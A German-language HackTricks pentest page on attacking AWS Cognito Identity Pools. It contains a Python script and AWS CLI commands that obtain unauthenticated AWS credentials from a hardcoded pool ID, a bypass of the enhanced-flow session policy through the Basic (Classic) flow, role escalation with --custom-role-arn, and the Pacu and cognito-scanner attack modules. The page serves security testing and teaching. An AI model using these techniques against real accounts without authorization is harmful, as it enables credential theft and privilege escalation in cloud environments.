Cognito Identity Pools

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Identitätspools spielen eine entscheidende Rolle, indem sie es Ihren Benutzern ermöglichen, temporäre Anmeldeinformationen zu erhalten. Diese Anmeldeinformationen sind unerlässlich für den Zugriff auf verschiedene AWS-Dienste, einschließlich, aber nicht beschränkt auf Amazon S3 und DynamoDB. Ein bemerkenswertes Merkmal von Identitätspools ist ihre Unterstützung sowohl für anonyme Gastbenutzer als auch für eine Reihe von Identitätsanbietern zur Benutzerauthentifizierung. Die unterstützten Identitätsanbieter umfassen:

  • Amazon Cognito-Benutzerpools

  • Soziale Anmeldeoptionen wie Facebook, Google, Anmeldung bei Amazon und Anmeldung bei Apple

  • Anbieter, die OpenID Connect (OIDC) entsprechen

  • SAML (Security Assertion Markup Language) Identitätsanbieter

  • Entwicklerauthentifizierte Identitäten

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Um Identitäts-Pool-Sitzungen zu generieren, müssen Sie zuerst eine Identitäts-ID generieren. Diese Identitäts-ID ist die Identifizierung der Sitzung dieses Benutzers. Diese Identifizierungen können bis zu 20 Datensätze haben, die jeweils bis zu 1 MB Schlüssel-Wert-Paare speichern können.

Dies ist nützlich, um Informationen über einen Benutzer zu speichern (der immer dieselbe Identitäts-ID verwenden wird).

Darüber hinaus ist der Dienst cognito-sync der Dienst, der es ermöglicht, diese Informationen zu verwalten und zu synchronisieren (in den Datensätzen, indem Informationen in Streams und SNS-Nachrichten gesendet werden...).

Tools für Pentesting

  • Pacu, das AWS-Exploitation-Framework, enthält jetzt die Module "cognito__enum" und "cognito__attack", die die Enumeration aller Cognito-Ressourcen in einem Konto automatisieren und schwache Konfigurationen, für den Zugriffskontrolle verwendete Benutzerattribute usw. kennzeichnen, außerdem automatisieren sie die Benutzererstellung (einschließlich MFA-Unterstützung) und die Privilegieneskalation basierend auf änderbaren benutzerdefinierten Attributen, verwendbaren Identitäts-Pool-Anmeldeinformationen, übernehmbaren Rollen in ID-Token usw.

Für eine Beschreibung der Funktionen der Module siehe Teil 2 des Blog-Beitrags. Für Installationsanweisungen siehe die Hauptseite von Pacu.

Verwendung

Beispielhafte Verwendung von cognito__attack, um die Benutzererstellung zu versuchen und alle Privilegieneskalationsvektoren gegen einen bestimmten Identitäts-Pool und Benutzer-Pool-Client durchzuführen:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Beispiel für die Verwendung von cognito__enum, um alle Benutzerpools, Benutzerpool-Clients, Identitätspools, Benutzer usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ist ein CLI-Tool in Python, das verschiedene Angriffe auf Cognito implementiert, einschließlich unerwünschter Kontenerstellung und Identitätspool-Eskalation.

Installation

$ pip install cognito-scanner

Verwendung

$ cognito-scanner --help

Für weitere Informationen besuchen Sie https://github.com/padok-team/cognito-scanner

Zugriff auf IAM-Rollen

Nicht authentifiziert

Das Einzige, was ein Angreifer wissen muss, um in einer Cognito-App als nicht authentifizierter Benutzer AWS-Anmeldeinformationen zu erhalten, ist die Identitätspool-ID, und diese **ID muss im Web-/Mobile-**Anwendung fest codiert sein, damit sie verwendet wird. Eine ID sieht so aus: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (sie ist nicht durch Brute-Force zu erraten).

Die IAM Cognito nicht authentifizierte Rolle, die über erstellt wird, heißt standardmäßig Cognito_<Identity Pool-Name>Unauth_Role

Wenn Sie eine fest codierte Identitätspool-ID finden und es nicht authentifizierten Benutzern erlaubt, können Sie AWS-Anmeldeinformationen erhalten:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Oder Sie könnten die folgenden AWS CLI-Befehle verwenden:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Beachten Sie, dass ein nicht authentifizierter Cognito-Benutzer standardmäßig keine Berechtigung haben kann, auch wenn sie über eine Richtlinie zugewiesen wurde. Überprüfen Sie den folgenden Abschnitt.

Verbesserter vs. grundlegender Authentifizierungsablauf

Der vorherige Abschnitt folgte dem Standard-Authentifizierungsablauf. Dieser Ablauf legt eine restriktive Sitzungsrichtlinie für die generierte IAM-Rollensitzung fest. Diese Richtlinie erlaubt der Sitzung nur, die Dienste aus dieser Liste zu verwenden (auch wenn die Rolle Zugriff auf andere Dienste hatte).

Es gibt jedoch eine Möglichkeit, dies zu umgehen: Wenn der Identitätspool "Basic (Classic) Flow" aktiviert hat, kann der Benutzer eine Sitzung mit diesem Ablauf erhalten, der keine restriktive Sitzungsrichtlinie haben wird.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Wenn Sie diesen Fehler erhalten, liegt das daran, dass der Grundfluss nicht aktiviert ist (Standard)

Ein Fehler ist aufgetreten (InvalidParameterException) beim Aufruf der GetOpenIdToken-Operation: Der Grund (klassisch) ist nicht aktiviert, bitte verwenden Sie den erweiterten Fluss.

Wenn Sie über einen Satz IAM-Anmeldeinformationen verfügen, sollten Sie überprüfen, auf welche Zugriffsrechte Sie zugreifen können und versuchen, Berechtigungen zu eskalieren.

Authentifiziert

Denken Sie daran, dass authentifizierte Benutzer wahrscheinlich unterschiedliche Berechtigungen erhalten, daher sollten Sie, wenn Sie sich innerhalb der App registrieren können, dies versuchen und die neuen Anmeldeinformationen erhalten.

Es könnten auch Rollen für authentifizierte Benutzer, die auf den Identitätspool zugreifen, verfügbar sein.

Dafür benötigen Sie möglicherweise Zugriff auf den Identitätsanbieter. Wenn es sich um ein Cognito-Benutzerpool handelt, können Sie möglicherweise das Standardverhalten missbrauchen und einen neuen Benutzer erstellen.

Die IAM Cognito authentifizierte Rolle, die über erstellt wird, heißt standardmäßig Cognito_<Identity Pool name>Auth_Role

Wie auch immer, das folgende Beispiel setzt voraus, dass Sie sich bereits in einem Cognito-Benutzerpool angemeldet haben, der zum Zugriff auf den Identitätspool verwendet wird (vergessen Sie nicht, dass auch andere Arten von Identitätsanbietern konfiguriert sein könnten).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Holen Sie sich die identity_id aus der vorherigen Befehlsantwort
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# Im IdToken können Sie Rollen finden, auf die ein Benutzer zugreifen kann, weil er Mitglied von Benutzerpoolgruppen ist
# Verwenden Sie --custom-role-arn, um Anmeldeinformationen für eine bestimmte Rolle zu erhalten
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Es ist möglich, verschiedene IAM-Rollen zu konfigurieren, je nachdem, von welchem Identitätsanbieter der Benutzer angemeldet ist oder sogar nur vom Benutzer (unter Verwendung von Claims). Daher, wenn Sie Zugriff auf verschiedene Benutzer durch denselben oder verschiedene Anbieter haben, könnte es sich lohnen, sich anzumelden und auf die IAM-Rollen aller zuzugreifen.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated